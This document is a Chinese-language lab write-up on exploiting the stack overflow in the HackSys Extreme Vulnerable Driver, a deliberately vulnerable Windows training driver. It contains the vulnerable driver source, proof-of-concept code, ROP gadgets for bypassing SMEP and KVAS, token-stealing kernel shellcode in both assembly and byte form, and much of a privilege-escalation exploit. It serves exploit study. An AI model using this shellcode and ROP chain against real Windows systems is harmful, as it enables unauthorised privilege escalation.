源码

HackSysExtremeVulnerableDriver.h

1
2
3
4
5
//
// IOCTL Definitions
//

#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)

HackSysExtremeVulnerableDriver.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
/// <summary>
/// IRP Device IoCtl Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
IrpDeviceIoCtlHandler(
_In_ PDEVICE_OBJECT DeviceObject,
_Inout_ PIRP Irp
)
{
ULONG IoControlCode = 0;
PIO_STACK_LOCATION IrpSp = NULL;
NTSTATUS Status = STATUS_NOT_SUPPORTED;

UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();

IrpSp = IoGetCurrentIrpStackLocation(Irp);

if (IrpSp)
{
IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;

switch (IoControlCode)
{
case HEVD_IOCTL_BUFFER_OVERFLOW_STACK:
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
Status = BufferOverflowStackIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
break;
[]
default:
DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);
Status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
}

//
// Update the IoStatus information
//

Irp->IoStatus.Status = Status;
Irp->IoStatus.Information = 0;

//
// Complete the request
//

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return Status;
}

BufferOverflowStack.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/*++

## ## ######## ## ## ########
## ## ## ## ## ## ##
## ## ## ## ## ## ##
######### ###### ## ## ## ##
## ## ## ## ## ## ##
## ## ## ## ## ## ##
## ## ######## ### ########

HackSys Extreme Vulnerable Driver

Author : Ashfaq Ansari
Contact: ashfaq[at]payatu[dot]com
Website: http://www.payatu.com/

Copyright (C) 2015-2020 Payatu Software Labs LLP. All rights reserved.

This program is free software: you can redistribute it and/or modify it under the terms of
the GNU General Public License as published by the Free Software Foundation, either version
3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program.
If not, see <http://www.gnu.org/licenses/>.

THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

See the file 'LICENSE' for complete copying permission.

Module Name:
BufferOverflowStack.h

Abstract:
This module implements the data structures for
buffer overflow in Stack module.

--*/

#pragma once

#ifndef __BUFFER_OVERFLOW_STACK_H__
#define __BUFFER_OVERFLOW_STACK_H__

#include "Common.h"

//
// Function Definitions
//

NTSTATUS
TriggerBufferOverflowStack(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
);

#endif // !__BUFFER_OVERFLOW_STACK_H__

BufferOverflowStack.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
/*++

## ## ######## ## ## ########
## ## ## ## ## ## ##
## ## ## ## ## ## ##
######### ###### ## ## ## ##
## ## ## ## ## ## ##
## ## ## ## ## ## ##
## ## ######## ### ########

HackSys Extreme Vulnerable Driver

Author : Ashfaq Ansari
Contact: ashfaq[at]payatu[dot]com
Website: http://www.payatu.com/

Copyright (C) 2015-2020 Payatu Software Labs LLP. All rights reserved.

This program is free software: you can redistribute it and/or modify it under the terms of
the GNU General Public License as published by the Free Software Foundation, either version
3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program.
If not, see <http://www.gnu.org/licenses/>.

THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

See the file 'LICENSE' for complete copying permission.

Module Name:
BufferOverflowStack.c

Abstract:
This module implements the functions to demonstrate
buffer overflow in Stack vulnerability.

--*/

#include "BufferOverflowStack.h"

#ifdef ALLOC_PRAGMA
#pragma alloc_text(PAGE, TriggerBufferOverflowStack)
#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)
#endif // ALLOC_PRAGMA

/// <summary>
/// Trigger the buffer overflow in Stack Vulnerability
/// </summary>
/// <param name="UserBuffer">The pointer to user mode buffer</param>
/// <param name="Size">Size of the user mode buffer</param>
/// <returns>NTSTATUS</returns>
__declspec(safebuffers)
NTSTATUS
TriggerBufferOverflowStack(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)
{
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = { 0 };

PAGED_CODE();

__try
{
//
// Verify if the buffer resides in user mode
//

ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));

DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%zX\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%zX\n", sizeof(KernelBuffer));

#ifdef SECURE
//
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
//

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Buffer Overflow in Stack\n");

//
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
//

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

/// <summary>
/// Buffer Overflow Stack Ioctl Handler
/// </summary>
/// <param name="Irp">The pointer to IRP</param>
/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
BufferOverflowStackIoctlHandler(
_In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
)
{
SIZE_T Size = 0;
PVOID UserBuffer = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;

UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();

UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;

if (UserBuffer)
{
Status = TriggerBufferOverflowStack(UserBuffer, Size);
}

return Status;
}

分析

题目很明显的一个栈溢出,会将用户态的 buffer 按照它的长度进行拷贝,而内核态的 buffer 长度有限,故可以造成栈溢出

Untitled.png

Untitled 1.png

其中的 ProbeForRead 函数会探测用户态的 buffer 是否可读,第三个参数 1 代表对齐的字节数

先写一个测试的 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#define _CRT_SECURE_NO_WARNINGS

#include <iostream>
#include <Windows.h>

#define handle_error(msg, error_code) \
do \
{ \
printf("%s with error code: %d\n", msg, error_code); \
} while (0);

void poc()
{
do {
HANDLE hDevice;
// 2-bit unsigned integer. This is a flag field that indicates various access modes
// to use for creating and opening the file.
// This value SHOULD be set to 0xC0000000, meaning generic read and generic write
hDevice = CreateFileA(
/* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
/* DWORD dwDesiredAccess */ 0xC0000000,
/* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
/* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
/* DWORD dwCreationDisposition */ OPEN_EXISTING,
/* DWORD dwFlagsAndAttributes */ 0,
/* HANDLE hTemplateFile */ NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
handle_error("Open device failed!\n", GetLastError());
break;
}
DWORD dwReturnedBytes = 0;
UCHAR szInBuffer[] = "123456";
if (!DeviceIoControl(hDevice, 0x222003, szInBuffer, sizeof(szInBuffer), NULL, 0, &dwReturnedBytes, NULL))
{
handle_error("DeviceIoControl failed!\n", GetLastError());
break;
}
else
{
printf("DeviceIoControl successfully.\n");
}
} while (0);
}

int main()
{
poc();
return 0;
}

断在 HEVD!TriggerBufferOverflowStack+0x10b 也就是返回地址处

再继续走下去直接蓝屏,效果显著

Untitled 3.png

然后添加一些细节,使用 VirtualAlloc 分配可执行的区域并跳到此处执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#define _CRT_SECURE_NO_WARNINGS

#include <iostream>
#include <Windows.h>

#define handle_error(msg, error_code) \
do \
{ \
printf("%s with error code: %d\n", msg, error_code); \
} while (0);

void poc()
{
do {
HANDLE hDevice;
// 2-bit unsigned integer. This is a flag field that indicates various access modes
// to use for creating and opening the file.
// This value SHOULD be set to 0xC0000000, meaning generic read and generic write
hDevice = CreateFileA(
/* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
/* DWORD dwDesiredAccess */ 0xC0000000,
/* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
/* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
/* DWORD dwCreationDisposition */ OPEN_EXISTING,
/* DWORD dwFlagsAndAttributes */ 0,
/* HANDLE hTemplateFile */ NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
handle_error("Open device failed!\n", GetLastError());
break;
}

UCHAR ulShellcode[] = { 0x90 };
PVOID pEopPayload = VirtualAlloc(NULL, sizeof(ulShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pEopPayload == NULL)
{
handle_error("VirtualAlloc", GetLastError());
break;
}
RtlCopyMemory(pEopPayload, ulShellcode, sizeof(ulShellcode));

DWORD offset = 0x818;
UCHAR* pInBuffer = (UCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (offset + 0x8) * sizeof(UCHAR));
if (pInBuffer == NULL)
{
handle_error("HeapAlloc", GetLastError());
break;
}
RtlFillMemory(pInBuffer, offset, 0x41);
PVOID *pShellcode = &pEopPayload;
RtlCopyMemory(pInBuffer + offset, pShellcode, 0x);
DWORD dwReturnedBytes = 0;
if (!DeviceIoControl(hDevice, 0x222003, (LPVOID)pInBuffer, offset + 0x8, NULL, 0, &dwReturnedBytes, NULL))
{
handle_error("DeviceIoControl failed!\n", GetLastError());
break;
}
else
{
printf("DeviceIoControl successfully.\n");
}
} while (0);
}

int main()
{
poc();
return 0;
}

运行可以发现走到了 shellcode 的地方并且执行了

Untitled 4.png

但是为什么 nop 没有运行而是直接 ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY 了呢,原因在于 win10 上开启了 smep ,由 cr4 寄存器的 smep 位控制,该位为 1 时,保护开启,该位为 0 时保护关闭。在这个保护下,不能在 ring 0 的环境中执行 ring 3 的代码。

Untitled 5.png

所以我们需要 ROP 来绕过 SMEP 的保护,那么该如何获得内核的基地址呢?可以使用如下代码获得 ntoskrnl.exe 的基地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

0: kd> lmDvmnt
Browse full module list
start end module name
fffff806`06e00000 fffff806`07e46000 nt (pdb symbols) C:\ProgramData\Dbg\sym\ntkrnlmp.pdb\CA8E2F01B822EDE6357898BFBF8629971\ntkrnlmp.pdb
Loaded symbol image file: ntkrnlmp.exe
Image path: ntkrnlmp.exe
Image name: ntkrnlmp.exe
Browse all global symbols functions data
Image was built with /Brepro flag.
Timestamp: 2F0A239F (This is a reproducible build file hash, not a timestamp)
CheckSum: 00A62034
ImageSize: 01046000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
Information from resource tables:

Unable to enumerate user-mode unloaded modules, Win32 error 0n30
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
ULONG Reserved3;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD LoadCount;
WORD NameOffset;
CHAR Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 0xb
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);

UINT64 get_kernel_base() {

printf("[>] Getting kernel base address...\n");

//https://github.com/koczkatamas/CVE-2016-0051/blob/master/EoP/Shellcode/Shellcode.cpp
//also using the same import technique that @tekwizz123 showed us

PNtQuerySystemInformation NtQuerySystemInformation =
(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtQuerySystemInformation");

if (!NtQuerySystemInformation) {

handle_error("[!] Failed to get the address of NtQuerySystemInformation.\n", GetLastError());
exit(1);
}

ULONG len = 0;
NtQuerySystemInformation(SystemModuleInformation,
NULL,
0,
&len);

PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)
VirtualAlloc(NULL,
len,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation,
pModuleInfo,
len,
&len);

if (status != (NTSTATUS)0x0) {
handle_error("[!] NtQuerySystemInformation failed!\n", GetLastError());
exit(1);
}

PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;

printf("[>] ntkrnlmp.exe base address: 0x%llx\n",kernelImageBase);

return (UINT64)kernelImageBase;
}

在得到了内核地址后,需要找到适用的 gadget ,分别如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0: kd>  uf HvlEndSystemInterrupt
nt!HvlEndSystemInterrupt:
fffff806`071f34b0 4851 push rcx
fffff806`071f34b2 50 push rax
fffff806`071f34b3 52 push rdx
fffff806`071f34b4 65488b142508850000 mov rdx,qword ptr gs:[8508h]
fffff806`071f34bd b970000040 mov ecx,40000070h
fffff806`071f34c2 0fba3200 btr dword ptr [rdx],0
fffff806`071f34c6 7206 jb nt!HvlEndSystemInterrupt+0x1e (fffff806`071f34ce) Branch

nt!HvlEndSystemInterrupt+0x18:
fffff806`071f34c8 33c0 xor eax,eax
fffff806`071f34ca 8bd0 mov edx,eax
fffff806`071f34cc 0f30 wrmsr

nt!HvlEndSystemInterrupt+0x1e:
fffff806`071f34ce 5a pop rdx
fffff806`071f34cf 58 pop rax
fffff806`071f34d0 59 pop rcx <-- +0x3f34d0
fffff806`071f34d1 c3 ret
1
2
3
4
5
6
7
8
: kd>  uf nt!KiEnableXSave
nt!KiEnableXSave:
[...]

nt!KiEnableXSave+0xb5f4:
fffff806`077a3238 480fbaf112 btr rcx,12h
fffff806`077a323d 0f22e1 mov tmm,rcx <-- +0x9a323d
fffff806`077a3240 c3 ret

但是还是会执行失败,我在 这篇文章 中找到了解释

Untitled 6.png

1
2
3
4
5
1: kd> !pte 0x000002324C870000
VA 000002324c870000
PXE at FFFFF5FAFD7EB020 PPE at FFFFF5FAFD604648 PDE at FFFFF5FAC08C9320 PTE at FFFFF58119264380
contains 8A00000185BA5867 contains 0A000001860A6867 contains 1A0000017E5AE867 contains 000000017D7CD867
pfn 185ba5 ---DA--UW-V pfn 1860a6 ---DA--UWEV pfn 17e5ae ---DA--UWEV pfn 17d7cd ---DA--UWEV

看起来需要更加复杂的漏洞才能绕过该 KVAS(Kernel Virtual Address Shadow),在没办法泄露 PML4 的基地址的时候我们是无法继续操作的

那么该如何泄露呢?可以参考 这篇文章 ,其中的代码开源在了 github 上,效果如下:

Untitled 7.png

在知道了 PML4 的地址后,使用 ROP 更改位即可更改 PXE 的属性

Untitled 8.png

那么我们继续寻找 gadget ,首先导出

1
ropper --file .\ntoskrnl.exe --nocolor > gadget

之后找到了一些实用的(但并没有全部用到)

1
2
3
4
5
6
0x0000000140205364: mov qword ptr [rax], rcx; ret; 
0x00000001402017f2: pop rax; ret;
0x00000001405601a1: add al, 0x48; mov dword ptr [rcx], eax; ret;
0x00000001404160f0: sub esp, ecx; mov eax, 0x14; ret;
0x00000001403f34cf: pop rax; pop rcx; ret;
0x000000014037fc50: wbinvd; ret;

我们可以使用 mov qword ptr [rax], rcx; ret; 来修改 PXE 的权限,但是需要注意的是,后面我们还要还原 PXE 的权限,否则会报错,所以需要在 shellcode 执行完后继续 ROP 改一遍权限

其次是我们需要用 wbinvd; ret; 来清空 TLB cache ,可以参考 HEVD Exploit - Stack OverflowGS on Windows 10 RS5 x64 | Kristal’s Notebook (kristal-g.github.io)

Untitled 9.png

最后就是 shellcode 的构造

内核态中,每个进程都有自己对应的 _EPROCESS 结构体:

1
2
3
4
5
6
7
8
1: kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x438 ProcessLock : _EX_PUSH_LOCK
+0x440 UniqueProcessId : Ptr64 Void
+0x448 ActiveProcessLinks : _LIST_ENTRY
[...]
+0x4b8 Token : _EX_FAST_REF
[...]

其中 UniqueProcessId 标识着这个进程 IDActiveProcessLinks 作为链表指向另一个进程的ActiveProcessLinks

1
2
3
4
1: kd> dt _LIST_ENTRY
HEVD!_LIST_ENTRY
+0x000 Flink : Ptr64 _LIST_ENTRY
+0x008 Blink : Ptr64 _LIST_ENTRY

所以只需要把当前进程的 _EPROCESSToken 修改为 System 进程的 Token 即可

1
2
3
4
5
1: kd> !process 0 0 System
PROCESS ffff9c0bcb875080
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001ad002 ObjectTable: ffffb101b4035c00 HandleCount: 2753.
Image: System

System 对应的 UniqueProcessId4

还需要找到当前进程的 _EPROCESS

1
2
3
4
5
1: kd> uf nt!PsGetCurrentProcess
nt!PsGetCurrentProcess:
fffff807`4303a4b0 65488b042588010000 mov rax,qword ptr gs:[188h]
fffff807`4303a4b9 488b80b8000000 mov rax,qword ptr [rax+0B8h]
fffff807`4303a4c0 c3 ret

通过这两条指令就可以获得当前进程的 _EPROCESS

不过实际上 gs:[188h] 处是当前对应的 _ETHREAD_ETHREAD 开始位置展开是 _KTHREAD):

1
2
3
4
5
6
7
1: kd> dt nt!_KTHREAD poi(gs:188h)
[...]
+0x098 ApcState : _KAPC_STATE
+0x098 ApcStateFill : [43] "???"
[...]
+0x220 Process : 0xffff9c0b`d105c080 _KPROCESS
[...]

对应 0xB8 偏移位置是 ApcState.Process

1
2
3
4
5
1: kd> dx -id 0,0,ffff9705e4bdd4c0 -r1 (*((ntkrnlmp!_KAPC_STATE *)0xffff9705e229b2d8))
(*((ntkrnlmp!_KAPC_STATE *)0xffff9705e229b2d8)) [Type: _KAPC_STATE]
[+0x000] ApcListHead [Type: _LIST_ENTRY [2]]
[+0x020] Process : 0x0 [Type: _KPROCESS *]
[+0x028] InProgressFlags : 0x0 [Type: unsigned char]

简单查了一下资料:这两个位置区别:如果当前线程 attach 到别的进程,ApcState.Process 会改变,但是 0x220 处的 Process 不会改变,所以 PsGetCurrentProcess 获得的 _EPROCESS 更加准确,不过其实正常 exploit 编写,这地方实际指向同一个 _EPROCESS ,所以没太大影响(如果因为这里发生Crash,可以修改尝试一下)

可能有时候也需要修改这个东西

1
2
3
4
5

0: kd> dt nt!_KTHREAD
[...]
+0x1e4 KernelApcDisable : Int2B
[...]

首先获得当前 _EPROCESS , 而后利用 ActiveProcessLinks 不断搜索,判断 UniqueProcessId 是否为 4,将 UniqueProcessId4(System)对应的 Token 覆盖原来的 Token ,即可完成提权,针对不同版本可能需要修改偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
		push rax
push rbx
push rcx
mov rax, gs:0x188
mov rax, qword ptr[rax + 0xb8]
lea rbx, qword ptr[rax + 0x4b8]
loop :
mov rax, qword ptr[rax + 0x448]
sub rax, 0x448
mov rcx, qword ptr[rax + 0x440]
cmp rcx, 4
jnz loop

mov rcx, qword ptr[rax + 0x4b8]
mov qword ptr [rbx],rcx
pop rcx
pop rbx
pop rax
ret

当然因为我们需要安全的返回用户态,所以需要还原一下栈的东西,shellcode 也进行了修改,并且加入了恢复 PXE 权限的部分内容,最终如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
		mov rax, gs:0x188
mov rax, qword ptr[rax + 0xb8]
lea rbx, qword ptr[rax + 0x4b8]
loop :
mov rax, qword ptr[rax + 0x448]
sub rax, 0x448
mov rcx, qword ptr[rax + 0x440]
cmp rcx, 4
jnz loop

mov rcx, qword ptr[rax + 0x4b8]
mov qword ptr[rbx], rcx

mov r13, [rsp]
mov r11, r15
sub r11, 0x73880
add r11,0x2
push 0
sub r13, 0x31f1
push r13
push r13
push r11
push r11
push r11
push r11
sub r11,0x2
push r11

push r12
push r14
push r15
mov rax, 0x8a0000b9
mov rbx, 0
mov rcx, 0
mov rdx, 0
mov rsi, 0
mov rdi, 0
mov r8, 0
mov r9, 0
mov r10, 0
mov r11, 0
mov r12, 0
mov r13, 0
mov r14, 0
mov r15, 0
ret

效果

Untitled 10.png

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
#include <windows.h>
#include <stdio.h>

#include "pml4-leak-melt.c"

#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL 0x222003

typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
ULONG Reserved3;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD LoadCount;
WORD NameOffset;
CHAR Name[256];
}SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 0xb
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);

HANDLE grab_handle() {

HANDLE hFile = CreateFileA(DEVICE_NAME,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);

if (hFile == INVALID_HANDLE_VALUE) {
exit(1);
}

return hFile;
}

void send_payload(HANDLE hFile, INT64 kernel_base) {

UCHAR shellcode[] = { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x98, 0xB8, 0x04, 0x00, 0x00, 0x48, 0x8B, 0x80, 0x48, 0x04, 0x00, 0x00, 0x48, 0x2D, 0x48, 0x04, 0x00, 0x00, 0x48, 0x8B, 0x88, 0x40, 0x04, 0x00, 0x00, 0x48, 0x83, 0xF9, 0x04, 0x75, 0xE6, 0x48, 0x8B, 0x88, 0xB8, 0x04, 0x00, 0x00, 0x48, 0x89, 0x0B, 0x4C, 0x8B, 0x2C, 0x24, 0x4D, 0x89, 0xFB, 0x49, 0x81, 0xEB, 0x80, 0x38, 0x07, 0x00, 0x49, 0x83, 0xC3, 0x02, 0x6A, 0x00, 0x49, 0x81, 0xED, 0xF1, 0x31, 0x00, 0x00, 0x41, 0x55, 0x41, 0x55, 0x41, 0x53, 0x41, 0x53, 0x41, 0x53, 0x41, 0x53, 0x49, 0x83, 0xEB, 0x02, 0x41, 0x53, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0xB8, 0xB9, 0x00, 0x00, 0x8A, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x49, 0xC7, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x49, 0xC7, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x49, 0xC7, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x49, 0xC7, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x49, 0xC7, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x49, 0xC7, 0xC5, 0x00, 0x00, 0x00, 0x00, 0x49, 0xC7, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x49, 0xC7, 0xC7, 0x00, 0x00, 0x00, 0x00, 0xC3 };

LPVOID shellcode_addr = VirtualAlloc(NULL,
sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
printf("[>] Shellcode allocated in userland at: 0x%llx",(UINT64)shellcode_addr);
